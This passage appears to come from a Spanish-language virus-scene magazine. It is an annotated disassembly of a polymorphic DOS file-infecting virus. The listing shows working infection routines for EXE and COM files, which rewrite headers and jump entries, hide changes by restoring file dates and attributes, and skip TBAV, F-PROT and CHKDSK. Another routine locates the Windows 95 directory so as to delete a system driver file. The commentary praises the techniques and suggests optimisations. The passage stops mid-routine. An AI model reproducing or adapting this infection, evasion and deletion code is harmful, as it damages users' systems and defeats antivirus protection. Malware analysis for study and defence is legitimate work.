Ω; nas de complicarse la vida y au- ∩0DA6:0508 A5 MOVSW Ω; mentar el tamaño del virus, pues- Ω; to que después coge cada valor Ω; por separado y no como puntero. ∩0DA6:0509 8BF2 MOV SI,DX Ω; SI = 1E6Ah ∩0DA6:050B C606790101 MOV BYTE PTR [0179],01 Ω; Pone el tipo de ejecuta- Ω; ble como EXE en [0179] ∩0DA6:0510 E8330E CALL 1346 Ω; Rutina para comprobar si el archi- Ω; vo ya está infectado. Si lo está, Ω; devuelve Carry Flag ∩0DA6:0513 72DE JB 04F3 Ω; Si hay Carry Flag, salta y acaba ∩0DA6:0515 A17E01 MOV AX,[017E] Ω; Pone en AX la hora del archivo ∩0DA6:0518 A37701 MOV [0177],AX Ω; La copia a [0177] ∩0DA6:051B 8B4402 MOV AX,[SI+02] Ω; Coge en AX el resto de dividir el Ω; tamaño del archivo entre 512 ∩0DA6:051E A37301 MOV [0173],AX Ω; Lo mete en [0173] ∩0DA6:0521 8B4404 MOV AX,[SI+04] Ω; Ahora mete en AX el cociente de Ω; dividir el tamaño del archivo en- Ω; tre 512 (+1 si el resto no es 0) ∩0DA6:0524 A37501 MOV [0175],AX Ω; Lo pone en [0175] ∩0DA6:0527 8B4404 MOV AX,[SI+04] Ω; ?? ¿No lo ha hecho ya? ∩0DA6:052A BA0002 MOV DX,0200 Ω; En DX el valor 200h ∩0DA6:052D 837C0200 CMP WORD PTR [SI+02],+00 Ω; Mira si el resto de di- Ω; vidir el tamaño del archivo entre Ω; 512 es 0 ∩0DA6:0531 7401 JZ 0534 Ω; Si es, se salta el decremento ∩0DA6:0533 48 DEC AX Ω; Decrementa AX, que tiene el tama- Ω; ño del archivo / 512 ∩0DA6:0534 F7E2 MUL DX Ω; Multiplica AX por 512 para sacar Ω; el tamaño real del archivo ∩0DA6:0536 89167C01 MOV [017C],DX Ω; Mete en [017C] el Hi-Word del ta- Ω; maño de archivo ∩0DA6:053A 8B5402 MOV DX,[SI+02] Ω; Coge el resto en DX ∩0DA6:053D 03C2 ADD AX,DX Ω; Lo suma a AX ∩0DA6:053F 83167C0100 ADC WORD PTR [017C],+00 Ω; Suma 1 al Hi-Word si hay Ω; rebosamiento ∩0DA6:0544 A37A01 MOV [017A],AX Ω; Mete el Lo-Word del tamaño en Ω; [017A] ∩0DA6:0547 50 PUSH AX Ω; Guarda AX ∩0DA6:0548 33C9 XOR CX,CX Ω; CX = 0 ∩0DA6:054A 8BD1 MOV DX,CX Ω; DX = 0 ∩0DA6:054C B80242 MOV AX,4202 Ω; Desplaza el puntero de handle al ∩0DA6:054F E873FD CALL 02C5 Ω; final del archivo y devuelve en Ω; el par DX-AX el tamaño del archi- Ω; vo (DX el Hi-Word, AX el Lo-Word) ∩0DA6:0552 2B067A01 SUB AX,[017A] Ω; Resta a AX el word en [017A]. Es- Ω; to es exactamente lo mismo que Ω; hacer CMP AX,[017A], pero bueno. ∩0DA6:0556 7405 JZ 055D Ω; Si es 0, continúa. Si no es 0, Ω; hay error en la cabecera, y enton- Ω; ces evita infectarlo ∩0DA6:0558 58 POP AX Ω; Saca AX para nivelar el stack ∩0DA6:0559 F9 STC Ω; Carry Flag a 1 ∩0DA6:055A E99300 JMP 05F0 Ω; Vuelve Ω; Aquí si la resta es 0 ∩0DA6:055D 2B167C01 SUB DX,[017C] Ω; Ahora resta el Hi-Word obtenido Ω; por la función al obtenido antes Ω; por la cabecera ∩0DA6:0561 7405 JZ 0568 Ω; Si es 0, continúa ∩0DA6:0563 58 POP AX Ω; Saca AX. Se hubiera ahorrado un Ω; byte si hubiera puesto este POP Ω; AX entre las instrucciones en Ω; :055D y :0561, y no tendría que Ω; haber puesto el POP AX que hay Ω; en :0568 ∩0DA6:0564 F9 STC Ω; Carry Flag a 1 ∩0DA6:0565 E98800 JMP 05F0 Ω; Salta y retorna. Se hubiera aho- Ω; rrado 5 bytes más si hubiera sus- Ω; tituido el grupo de instrucciones Ω; desde :0561 hasta :0565 inclusive Ω; por un JNZ 0558 en :0561 ∩0DA6:0568 58 POP AX Ω; Saca AX ∩0DA6:0569 8B0E7C01 MOV CX,[017C] Ω; Pone en CX el valor de Hi-Word ∩0DA6:056D 8BD0 MOV DX,AX Ω; Pone en DX el valor de Lo-Word ∩0DA6:056F B80042 MOV AX,4200 Ω; Pone el puntero del handle al ∩0DA6:0572 E850FD CALL 02C5 Ω; principio del archivo más el tama- Ω; ño de éste ∩0DA6:0575 B87B1E MOV AX,1E7B Ω; En AX el tamaño del virus + 17 ∩0DA6:0578 8B5402 MOV DX,[SI+02] Ω; En DX el resto del tamaño del ar- Ω; chivo al dividirlo entre 512 ∩0DA6:057B 03D0 ADD DX,AX Ω; Suma a este resto el valor en AX ∩0DA6:057D FF4404 INC WORD PTR [SI+04] Ω; Incrementa el word en SI+04 ∩0DA6:0580 81EA0002 SUB DX,0200 Ω; Le resta 200h a DX ∩0DA6:0584 81FA0002 CMP DX,0200 Ω; Comprueba si DX es mayor que 200h ∩0DA6:0588 77F3 JA 057D Ω; Si es mayor, hace LOOP ∩0DA6:058A 7502 JNZ 058E Ω; Si no es 200h, salta ∩0DA6:058C 33D2 XOR DX,DX Ω; Pone DX a 0 Ω; Al final de todo este LOOP, ha Ω; hecho lo mismo que si hubiera co- Ω; gido el tamaño del archivo, le Ω; hubiera sumado el tamaño del vi- Ω; rus y lo hubiera dividido entre Ω; 512 ∩0DA6:058E 895402 MOV [SI+02],DX Ω; Mete el resto en la parte que to- Ω; ca ∩0DA6:0591 8B4408 MOV AX,[SI+08] Ω; Coge el tamaño de la cabecera en Ω; párrafos ∩0DA6:0594 B91000 MOV CX,0010 Ω; Lo multiplica por 10 ∩0DA6:0597 F7E1 MUL CX ∩0DA6:0599 8B0E7A01 MOV CX,[017A] Ω; Coge en CX el Lo-Word de tamaño ∩0DA6:059D 2BC8 SUB CX,AX Ω; Resta a CX el Lo-Word de tamaño Ω; de la cabecera ∩0DA6:059F 19167C01 SBB [017C],DX Ω; Hace lo mismo con el Hi-Word del Ω; tamaño de la cabecera y lo resta Ω; al Hi-Word de tamaño con acarreo, Ω; es decir, que si ha habido rebose Ω; en la resta anterior, le restará Ω; uno más ∩0DA6:05A3 8B3E7C01 MOV DI,[017C] Ω; Coge en DI el Hi-Word de tamaño Ω; resultante ∩0DA6:05A7 8BF1 MOV SI,CX Ω; En SI el Lo-Word ∩0DA6:05A9 8BD7 MOV DX,DI Ω; En DX el Hi-Word ∩0DA6:05AB 8BC6 MOV AX,SI Ω; En AX el Lo-Word ∩0DA6:05AD B91000 MOV CX,0010 Ω; Lo divide entre 10 para pasarlo ∩0DA6:05B0 F7F1 DIV CX Ω; a párrafos ∩0DA6:05B2 8BF8 MOV DI,AX Ω; Mete el cociente en DI ∩0DA6:05B4 8BF2 MOV SI,DX Ω; El resto en SI Ω; Os parecerá una cursilada lo que Ω; voy a decir, pero esto es una ope- Ω; ración preciosa: se coge el tama- Ω; ño del archivo, se le resta el Ω; tamaño de la cabecera, y al divi- Ω; dirlo por 16, el resto es el nuevo Ω; IP y el cociente es el nuevo CS. Ω; De esta forma (que no sé quién se Ω; la inventaría, pero ya lo vimos Ω; en el virus BURGLAR) no hace fal- Ω; ta hacer cálculos o ir restando Ω; hasta que se encuentra un IP su- Ω; ficientemente bajo para que no Ω; rebose el segmento, como veremos, Ω; en la PhyMosys MAGAZINE 6, que ha- Ω; ce el virus NATAS ∩0DA6:05B6 89366E0E MOV [0E6E],SI Ω; Pone el nuevo IP en [0E6E] ∩0DA6:05BA 89360100 MOV [0001],SI Ω; También lo pone en [0001], en el Ω; desencriptador ∩0DA6:05BE 81C66A1E ADD SI,1E6A Ω; Le suma el tamaño del virus ∩0DA6:05C2 89367A01 MOV [017A],SI Ω; Lo pone en [017A] ∩0DA6:05C6 893E7C01 MOV [017C],DI Ω; Pone DI en [017C] ∩0DA6:05CA FC CLD Ω; Hacia delante ∩0DA6:05CB BE7A01 MOV SI,017A Ω; En SI la dirección del par CS:IP Ω; inicial que ha encontrado ∩0DA6:05CE BF7E1E MOV DI,1E7E Ω; En DI el lugar de la cabecera don- Ω; de irá el par CS:IP (los 4 bytes Ω; a partir del byte nº 14h) ∩0DA6:05D1 A5 MOVSW Ω; Lo copia ∩0DA6:05D2 A5 MOVSW ∩0DA6:05D3 E8BC03 CALL 0992 Ω; Hace un desencriptador, encripta Ω; el virus, lo copia al archivo y Ω; modifica la cabecera para que todo Ω; quede listo (vale la pena ver esa Ω; función, es bastante compleja). ∩0DA6:05D6 7218 JB 05F0 Ω; Si hay CF, salta y acaba ∩0DA6:05D8 33C9 XOR CX,CX Ω; CX = DX = 0 ∩0DA6:05DA 8BD1 MOV DX,CX ∩0DA6:05DC B80042 MOV AX,4200 Ω; En AX, función de desplazamiento Ω; del puntero de archivo ∩0DA6:05DF E8E3FC CALL 02C5 Ω; Int 21h. Lo desplaza al principio Ω; del archivo ∩0DA6:05E2 E83F0C CALL 1224 Ω; Pone la marca de infección en la Ω; cabecera y pone el nuevo SP que Ω; llevará el EXE al inicio ∩0DA6:05E5 BA6A1E MOV DX,1E6A Ω; En DX la dirección de la cabecera Ω; modificada ∩0DA6:05E8 B440 MOV AH,40 Ω; Función de escritura ∩0DA6:05EA B91C00 MOV CX,001C Ω; Escribe 1Ch (28) bytes en el ini- Ω; cio del archivo (y sobreescribe Ω; la anterior cabecera) ∩0DA6:05ED E8D5FC CALL 02C5 Ω; Int 21h ∩0DA6:05F0 C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;;;; RUTINA DE INFECCION DE COMs ;;;;;;;;;;;;;;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:05F1 C606790100 MOV BYTE PTR [0179],00 Ω; Pone el tipo de archivo Ω; a COM ∩0DA6:05F6 FC CLD Ω; DF a 0 ∩0DA6:05F7 BF6B01 MOV DI,016B Ω; En DI la dirección donde irán los Ω; 3 bytes iniciales del COM ∩0DA6:05FA BE6A1E MOV SI,1E6A Ω; En SI la dirección donde ha leído Ω; el inicio del COM ∩0DA6:05FD E8460D CALL 1346 Ω; Rutina para comprobar si el COM Ω; está ya infectado. ∩0DA6:0600 7211 JB 0613 Ω; Si está, salta a :0613 ∩0DA6:0602 B90300 MOV CX,0003 Ω; Copia los 3 bytes iniciales del ∩0DA6:0605 F3 REPZ Ω; archivo a una zona segura ∩0DA6:0606 A4 MOVSB ∩0DA6:0607 8BD1 MOV DX,CX Ω; CX = DX = 0 ∩0DA6:0609 B80242 MOV AX,4202 Ω; Desplaza el puntero de archivo ∩0DA6:060C E8B6FC CALL 02C5 Ω; al final. En DX-AX, el tamaño del Ω; archivo. ∩0DA6:060F 0BD2 OR DX,DX Ω; Mira si DX es 0 ∩0DA6:0611 7403 JZ 0616 Ω; Si es, continúa en :0616 ∩0DA6:0613 F9 STC Ω; Pone Carry Flag ∩0DA6:0614 EB52 JMP 0668 Ω; Salta y retorna (podría haber Ω; puesto RET directamente, la ver- Ω; dad) Ω; Aquí desde :0611 si es correcto el Ω; tamaño del archivo ∩0DA6:0616 3D1E00 CMP AX,001E Ω; Comprueba si el tamaño del archi- Ω; vo es 30 bytes ∩0DA6:0619 72F8 JB 0613 Ω; Si es menor, salta y acaba ∩0DA6:061B 33C9 XOR CX,CX Ω; Vuelve a situar el puntero al fi- ∩0DA6:061D 8BD1 MOV DX,CX Ω; nal (¿Otra vez? ¡¿Por qué?!) ∩0DA6:061F B80242 MOV AX,4202 ∩0DA6:0622 E8A0FC CALL 02C5 ∩0DA6:0625 3D95D9 CMP AX,D995 Ω; Comprueba si el tamaño máximo del Ω; archivo es 55702 bytes ∩0DA6:0628 7203 JB 062D Ω; Si es menor, salta y continúa ∩0DA6:062A F9 STC Ω; CF a 1 ∩0DA6:062B EB3B JMP 0668 Ω; Salta y retorna ∩0DA6:062D A36E0E MOV [0E6E],AX Ω; Mete en [0E6E] el tamaño del ar- Ω; chivo ∩0DA6:0630 81066E0E0001 ADD WORD PTR [0E6E],0100 Ω; Suma al valor en [0E6E] Ω; 100h para sacar el valor Ω; de inicio donde irá el Ω; virus en el COM ∩0DA6:0636 A30100 MOV [0001],AX Ω; Mete el valor este en [0001], en Ω; el desencriptador del principio ∩0DA6:0639 810601000001 ADD WORD PTR [0001],0100 Ω; Le suma 100h para sacar Ω; el inicio ∩0DA6:063F BF6801 MOV DI,0168 Ω; DI = 0168h ∩0DA6:0642 C605E9 MOV BYTE PTR [DI],E9 Ω; DI = 0E9h (opcode de JMP Ω; LONG) ∩0DA6:0645 2D0300 SUB AX,0003 Ω; Resta 3 a AX y le suma el tamaño ∩0DA6:0648 056A1E ADD AX,1E6A Ω; del virus para construir el JMP Ω; hasta el final del archivo + el Ω; tamaño del virus (se le resta 3 Ω; para descontar el tamaño del JMP) ∩0DA6:064B 894501 MOV [DI+01],AX Ω; Lo mete en [DI+01]. En DI ahora Ω; tiene la instrucción de salto Ω; inicial al virus ∩0DA6:064E E84103 CALL 0992 Ω; Encripta el virus, crea un desen- Ω; criptador polimórfico y lo copia Ω; al final del archivo ∩0DA6:0651 7215 JB 0668 Ω; Si hay error, salta y acaba ∩0DA6:0653 33C9 XOR CX,CX Ω; Pone el puntero al principio del ∩0DA6:0655 8BD1 MOV DX,CX Ω; archivo ∩0DA6:0657 B80042 MOV AX,4200 ∩0DA6:065A E868FC CALL 02C5 ∩0DA6:065D B90300 MOV CX,0003 Ω; Copia el JMP construido ∩0DA6:0660 BA6801 MOV DX,0168 ∩0DA6:0663 B440 MOV AH,40 ∩0DA6:0665 E85DFC CALL 02C5 ∩0DA6:0668 C3 RET Ω; Retorna ε;;;; Rutina para obtener la fecha y hora de un archivo cuyo handle tenemos en ε;;;; BX y guardarlas en lugar seguro ∩0DA6:0669 B80057 MOV AX,5700 Ω; Coge la fecha y hora del ar- ∩0DA6:066C E856FC CALL 02C5 Ω; chivo recién abierto en CX Ω; y DX ∩0DA6:066F 2E CS: Ω; La guarda en variables suyas ∩0DA6:0670 890E7E01 MOV [017E],CX ∩0DA6:0674 2E CS: ∩0DA6:0675 89168001 MOV [0180],DX ∩0DA6:0679 C3 RET Ω; Retorna ε;;; Rutina para restaurar la fecha que se cogió y se guardó en [017E] y [0180] ε;;; y volverlas a poner al archivo vinculado al handle en BX ∩0DA6:067A B80157 MOV AX,5701 ∩0DA6:067D 2E CS: ∩0DA6:067E 8B0E7E01 MOV CX,[017E] ∩0DA6:0682 2E CS: ∩0DA6:0683 8B168001 MOV DX,[0180] ∩0DA6:0687 E83BFC CALL 02C5 ∩0DA6:068A C3 RET ε;;;;; Rutina para guardar los atributos actuales de un archivo y ponéselos a 0 ∩0DA6:068B B80043 MOV AX,4300 Ω; Obtiene en CX los atributos ∩0DA6:068E E834FC CALL 02C5 Ω; del archivo apuntado por Ω; DS:DX ∩0DA6:0691 2E CS: Ω; Los guarda en [0186] ∩0DA6:0692 890E8601 MOV [0186],CX ∩0DA6:0696 B80143 MOV AX,4301 Ω; Le limpia los atributos al ∩0DA6:0699 33C9 XOR CX,CX Ω; archivo, de manera que ya no ∩0DA6:069B E827FC CALL 02C5 Ω; importa si tenía atributos Ω; de sólo lectura o no ∩0DA6:069E C3 RET Ω; Retorna ε;;; Rutina para poner a un archivo los atributos que tenía antes de cambiárse- ε;;; los para la infección ∩0DA6:069F B80143 MOV AX,4301 ∩0DA6:06A2 2E CS: ∩0DA6:06A3 8B0E8601 MOV CX,[0186] ∩0DA6:06A7 E81BFC CALL 02C5 ∩0DA6:06AA C3 RET ε;;;; Rutina para comprobar el nombre del archivo y mirar si es un archivo es- ε;;;; pecial (COMMAND.*, CHKDSK, TBAV, F-PROT o IV* o tiene la letra V en su ε;;;; nombre). Además de devolver Carry Flag si es, pone a 1 ciertos bits en ε;;;; [018C], según el archivo que sea. ∩0DA6:06AB 1E PUSH DS Ω; Guarda DS ∩0DA6:06AC 0E PUSH CS Ω; CS = DS ∩0DA6:06AD 1F POP DS ∩0DA6:06AE FC CLD Ω; Hacia delante ∩0DA6:06AF BE4807 MOV SI,0748 Ω; En SI el inicio de la cadena del Ω; nombre del archivo ∩0DA6:06B2 83EB04 SUB BX,+04 Ω; Resta 4 a BX, que contiene la lon- Ω; gitud del nombre con extensión. Ω; Ahora ya no coge la extensión ∩0DA6:06B5 7236 JB 06ED Ω; Si es menor, vuelve con Carry Flag Ω; (el salto condicional JB también Ω; puede traducirse como JC) ∩0DA6:06B7 8B04 MOV AX,[SI] Ω; Pone en AX los dos caracteres ini- Ω; ciales de la cadena ∩0DA6:06B9 3D5442 CMP AX,4254 Ω; Comprueba si es 'TB' (del Thunder- Ω; byte AntiVirus) ∩0DA6:06BC F9 STC Ω; Pone el CF a 1 ∩0DA6:06BD 742E JZ 06ED Ω; Si es, salta y retorna sin más ∩0DA6:06BF 3D462D CMP AX,2D46 Ω; Mira si es 'F-' (de F-Prot) ∩0DA6:06C2 7432 JZ 06F6 Ω; Si es, salta a :06F6 ∩0DA6:06C4 3D4956 CMP AX,5649 Ω; Mira si es 'IV' (no sé qué progra- Ω; ma o anti-virus será) ∩0DA6:06C7 742D JZ 06F6 Ω; Si es, salta a :06F6 ∩0DA6:06C9 3D4348 CMP AX,4843 Ω; Mira si es 'CH' (de CHKDSK) ∩0DA6:06CC 7421 JZ 06EF Ω; Si es, salta a :06EF ∩0DA6:06CE B056 MOV AL,56 Ω; Pone en AL el valor de 'V' ∩0DA6:06D0 BF4807 MOV DI,0748 Ω; En DI el inicio de la cadena ∩0DA6:06D3 8BCB MOV CX,BX Ω; CX = BX (longitud del nombre del Ω; archivo sin extensión) ∩0DA6:06D5 41 INC CX Ω; Incrementa CX ∩0DA6:06D6 F2 REPNZ Ω; Busca la letra 'V' en el nombre ∩0DA6:06D7 AE SCASB ∩0DA6:06D8 0BC9 OR CX,CX Ω; CX será 0 si no la ha encontrado ∩0DA6:06DA F9 STC Ω; Pone CF a 1 ∩0DA6:06DB 7510 JNZ 06ED Ω; Si no es 0, salta a :06ED ∩0DA6:06DD BF4807 MOV DI,0748 Ω; En Di el inicio de la cadena ∩0DA6:06E0 BE5507 MOV SI,0755 Ω; En SI la cadena 'COMMAND' ∩0DA6:06E3 8BCB MOV CX,BX Ω; En CX la longitud del archivo ∩0DA6:06E5 F3 REPZ Ω; Comprueba mientras sea 0 ∩0DA6:06E6 A6 CMPSB ∩0DA6:06E7 0BC9 OR CX,CX Ω; Si el nombre del archivo es Ω; COMMMAND, CX será 0 ∩0DA6:06E9 F9 STC Ω; Pone CF a 1 ∩0DA6:06EA 7401 JZ 06ED Ω; Si es 0, salta ∩0DA6:06EC F8 CLC Ω; CF a 0 ∩0DA6:06ED 1F POP DS Ω; Saca el DS guardado ∩0DA6:06EE C3 RET Ω; Retorna Ω; Aquí llega si el nombre del archi- Ω; vo empieza por 'CH' (porque podría Ω; ser CHKDSK) ∩0DA6:06EF 800E8C0102 OR BYTE PTR [018C],02 Ω; Pone el bit 1 de [018C] ∩0DA6:06F4 1F POP DS Ω; a 1, y saca DS ∩0DA6:06F5 C3 RET Ω; Retorna Ω; Aquí llega si las primeras letras Ω; del nombre del archivo coinciden Ω; con las primeras de alguno de los Ω; antivirus TBAV, F-PROT o IVP ∩0DA6:06F6 800E8C0101 OR BYTE PTR [018C],01 Ω; Pone el bit 0 de [018C] ∩0DA6:06FB F9 STC Ω; a 1 y el CF a 1 también ∩0DA6:06FC 1F POP DS Ω; Saca DS ∩0DA6:06FD C3 RET Ω; Retorna ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ε;; Rutina para encontrar el nombre de un archivo eliminando el resto de la ;; ε;; cadena (la ruta donde se encuentra el archivo), y después de encontrarlo ;; ε;; comprobar si es un archivo especial que merece atención especial ;; ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ∩0DA6:06FE 1E PUSH DS Ω; ES = DS ∩0DA6:06FF 07 POP ES ∩0DA6:0700 32C0 XOR AL,AL Ω; AL = 0 ∩0DA6:0702 8BFA MOV DI,DX Ω; En ES:DI, la dirección de la cade- Ω; na con el nombre del archivo ∩0DA6:0704 33C9 XOR CX,CX Ω; CX a 0 ∩0DA6:0706 B1FF MOV CL,FF Ω; CL = 0FFh ∩0DA6:0708 8BD9 MOV BX,CX Ω; BX = 00FFh ∩0DA6:070A FC CLD Ω; Busca durante 256 caracteres el ∩0DA6:070B F2 REPNZ Ω; valor 0 que indica el fin de la ∩0DA6:070C AE SCASB Ω; cadena, y repite la instrucción Ω; SCASB hasta que encuentra un 0. ∩0DA6:070D 4F DEC DI Ω; Decrementa DI dos veces y se pone ∩0DA6:070E 4F DEC DI Ω; apuntando al último byte de la ca- Ω; dena ∩0DA6:070F 2BD9 SUB BX,CX Ω; Resta a 256 el valor de CX que le Ω; ha quedado ∩0DA6:0711 8BCB MOV CX,BX Ω; En CX el número resultante, que re- Ω; sulta ser el tamaño de la cadena. ∩0DA6:0713 FD STD Ω; Hacia atrás. ∩0DA6:0714 B05C MOV AL,5C Ω; Ahora busca a lo largo de la cade- ∩0DA6:0716 F2 REPNZ Ω; na el caracter '\' ∩0DA6:0717 AE SCASB ∩0DA6:0718 2BD9 SUB BX,CX Ω; Cuando lo encuentra, le vuelve a Ω; restar a BX el valor que ha queda- Ω; do en CX ∩0DA6:071A 8BCB MOV CX,BX Ω; Lo pone en CX, y en CX quedará en- Ω; tonces la longitud del nombre del Ω; archivo y extensión, sin ruta de Ω; acceso ∩0DA6:071C 47 INC DI Ω; Incrementa DI para que apunte al Ω; inicio del nombre del archivo me- Ω; nos uno, y si no ha habido ningún Ω; error en la cadena, DI apuntará al Ω; último '\' que haya en la cadena ∩0DA6:071D 26 ES: Ω; Comprueba si este caracter es '\' ∩0DA6:071E 8A05 MOV AL,[DI] ∩0DA6:0720 3C5C CMP AL,5C ∩0DA6:0722 7511 JNZ 0735 Ω; Si no lo es, salta ∩0DA6:0724 47 INC DI Ω; Incrementa DI ∩0DA6:0725 8BF7 MOV SI,DI Ω; En SI ahora el inicio del nombre Ω; del archivo ∩0DA6:0727 BF4807 MOV DI,0748 Ω; En DI la dirección :0748 ∩0DA6:072A 49 DEC CX Ω; Decrementa CX y BX ∩0DA6:072B 4B DEC BX ∩0DA6:072C FC CLD Ω; Hacia delante ∩0DA6:072D 0E PUSH CS Ω; ES = CS ∩0DA6:072E 07 POP ES ∩0DA6:072F F3 REPZ Ω; Copia el nombre del archivo ahí ∩0DA6:0730 A4 MOVSB ∩0DA6:0731 E877FF CALL 06AB Ω; Rutina para comprobar si el nombre Ω; del archivo es especial. Devuelve Ω; CF si lo es. ∩0DA6:0734 C3 RET Ω; Retorna ∩0DA6:0735 BB0A00 MOV BX,000A Ω; Pone en BX el valor 000Ah ∩0DA6:0738 0E PUSH CS Ω; ES = CS ∩0DA6:0739 07 POP ES ∩0DA6:073A C3 RET Ω; Retorna Ω; Copia del nombre del archivo que se Ω; va a ejecutar ∩0DA6:073B 44 DB 'D' ∩0DA6:073C 45 DB 'E' ∩0DA6:073D 42 DB 'B' ∩0DA6:073E 55 DB 'U' ∩0DA6:073F 47 DB 'G' ∩0DA6:0740 2E DB '.' ∩0DA6:0741 45 DB 'E' ∩0DA6:0742 58 DB 'X' ∩0DA6:0743 45 DB 'E' ∩0DA6:0744 45 DB 'E' Ω; Caracteres del archivo que había antes ∩0DA6:0745 58 DB 'X' Ω; copiado aquí ∩0DA6:0746 45 DB 'E' ∩0DA6:0747 00 DB 00 Ω; A partir de aquí, nombre del archivo Ω; a infectar, copiado en la rutina que Ω; empieza en :06FE ∩0DA6:0748 48 DB 'H' ∩0DA6:0749 41 DB 'A' Ω; Este nombre es el que yo usé para co- ∩0DA6:074A 52 DB 'R' Ω; piar el virus a archivo. En el orde- ∩0DA6:074B 45 DB 'E' Ω; nador infectado, y usando el DEBUG, ∩0DA6:074C 44 DB 'D' Ω; busqué en memoria a través de la int ∩0DA6:074D 49 DB 'I' Ω; 21h hasta que encontré el virus, y ∩0DA6:074E 53 DB 'S' Ω; una vez lo encontré copié a archivo ∩0DA6:074F 41 DB 'A' Ω; directamente la parte de memoria, y ∩0DA6:0750 2E DB '.' Ω; así obtuve una copia desencriptada ∩0DA6:0751 56 DB 'V' Ω; del virus y que empezaba por el off- ∩0DA6:0752 49 DB 'I' Ω; set :0000, que viene muy bien a la ∩0DA6:0753 52 DB 'R' Ω; hora de calcular offsets el en proce- ∩0DA6:0754 00 DB 00 Ω; so de comentado. ∩0DA6:0755 43 DB 'C' Ω; Cadena que compara al nombre del ar- ∩0DA6:0756 4F DB 'O' Ω; chivo, porque si encuentra que es el ∩0DA6:0757 4D DB 'M' Ω; archivo COMMAND.* no lo infectará. ∩0DA6:0758 4D DB 'M' ∩0DA6:0759 41 DB 'A' ∩0DA6:075A 4E DB 'N' ∩0DA6:075B 44 DB 'D' ∩0DA6:075C 5C POP SP Ω; Aquí pone: ∩0DA6:075D 53 PUSH BX Ω; '\SYSTEM\IOSUBSYS\HSFLOP.PDR', 0 ∩0DA6:075E 59 POP CX ∩0DA6:075F 53 PUSH BX ∩0DA6:0760 54 PUSH SP ∩0DA6:0761 45 INC BP ∩0DA6:0762 4D DEC BP ∩0DA6:0763 5C POP SP ∩0DA6:0764 49 DEC CX ∩0DA6:0765 4F DEC DI ∩0DA6:0766 53 PUSH BX ∩0DA6:0767 55 PUSH BP ∩0DA6:0768 42 INC DX ∩0DA6:0769 53 PUSH BX ∩0DA6:076A 59 POP CX ∩0DA6:076B 53 PUSH BX ∩0DA6:076C 5C POP SP ∩0DA6:076D 48 DEC AX ∩0DA6:076E 53 PUSH BX ∩0DA6:076F 46 INC SI ∩0DA6:0770 4C DEC SP ∩0DA6:0771 4F DEC DI ∩0DA6:0772 50 PUSH AX ∩0DA6:0773 2E CS: ∩0DA6:0774 50 PUSH AX ∩0DA6:0775 44 INC SP ∩0DA6:0776 52 PUSH DX ∩0DA6:0777 00 DB 00 ε;;; Rutina para buscar en las variables de sistema (SETs) el directorio donde ε;;; se aloja el WINDOWS 95 y borrar X:\WIN????\SYSTEM\IOSUBSYS\HSFLOP.PDR, que ε;;; es el archivo que ??? (pendiente de comprobación) ∩0DA6:0778 1E PUSH DS Ω; Guarda DS y DX en el stack ∩0DA6:0779 52 PUSH DX ∩0DA6:077A 33FF XOR DI,DI Ω; DI = 0 ∩0DA6:077C B9FFFF MOV CX,FFFF Ω; CX = -1 ∩0DA6:077F B462 MOV AH,62 Ω; Obtiene el PSP (Program Seg- ∩0DA6:0781 CD21 INT 21 Ω; ment Prefix) actual, que guar- Ω; da datos sobre el programa que Ω; se está ejecutando en ese mo- Ω; mento (en este caso, sería el Ω; programa que aloja al virus) ∩0DA6:0783 8EC3 MOV ES,BX Ω; Pone en ES la dirección de Ω; segmento devuelta ∩0DA6:0785 26 ES: Ω; Obtiene en ES el segmento don- ∩0DA6:0786 8E062C00 MOV ES,[002C] Ω; de se aloja el Environment Ω; Block, que es la zona donde el Ω; DOS guarda las variables SET y Ω; PATH del sistema ∩0DA6:078A FC CLD Ω; Lee hacia delante ∩0DA6:078B B000 MOV AL,00 Ω; AL = 0, y recordemos que DI Ω; también está a 0 ∩0DA6:078D F2 REPNZ Ω; Empieza a buscar entre las va- ∩0DA6:078E AE SCASB Ω; riables el valor 0, que es el Ω; valor que delimita una varia- Ω; ble de otra ∩0DA6:078F 26 ES: Ω; Pone en AX lo encontrado ∩0DA6:0790 8B05 MOV AX,[DI] ∩0DA6:0792 0AC0 OR AL,AL Ω; Mira si el byte que sigue al 0 Ω; que ha encontrado es otro 0, Ω; en cuyo caso resultaría que ha Ω; encontrado el final del Envi- Ω; ronment-Block ∩0DA6:0794 7444 JZ 07DA Ω; Si es 0, salta y acaba ∩0DA6:0796 25DFDF AND AX,DFDF Ω; Convierte a mayúsculas los ca- Ω; racteres que ha obtenido ∩0DA6:0799 3D5749 CMP AX,4957 Ω; Mira si son 'WI' ∩0DA6:079C 75ED JNZ 078B Ω; Si no son, repite el proceso ∩0DA6:079E 26 ES: Ω; Coge el siguiente caracter ∩0DA6:079F 8A4502 MOV AL,[DI+02] ∩0DA6:07A2 24DF AND AL,DF Ω; Lo pone en mayúsculas ∩0DA6:07A4 3C4E CMP AL,4E Ω; Mira si es 'N' ∩0DA6:07A6 75E3 JNZ 078B Ω; Si no es, salta y repite el Ω; proceso ∩0DA6:07A8 B03D MOV AL,3D Ω; Busca en la cadena el caracter Ω; ter '=' ∩0DA6:07AA F2 REPNZ ∩0DA6:07AB AE SCASB ∩0DA6:07AC E32C JCXZ 07DA Ω; Si CX ha llegado a 0, y por Ω; tanto no ha encontrado un =, Ω; salta y acaba ∩0DA6:07AE 8BF7 MOV SI,DI Ω; SI = DI ∩0DA6:07B0 8BDF MOV BX,DI Ω; BX = DI ∩0DA6:07B2 BF6A1E MOV DI,1E6A Ω; En DI la dirección [1E6Ah], Ω; que era donde antes ha guarda- Ω; do el BOOT que había preparado Ω; para infectar el sistema ∩0DA6:07B5 8BD7 MOV DX,DI Ω; DX = 1E6Ah ∩0DA6:07B7 06 PUSH ES Ω; DS = ES ∩0DA6:07B8 1F POP DS ∩0DA6:07B9 0E PUSH CS Ω; ES = CS ∩0DA6:07BA 07 POP ES ∩0DA6:07BB AC LODSB Ω; Copia un byte ∩0DA6:07BC AA STOSB ∩0DA6:07BD 0AC0 OR AL,AL Ω; 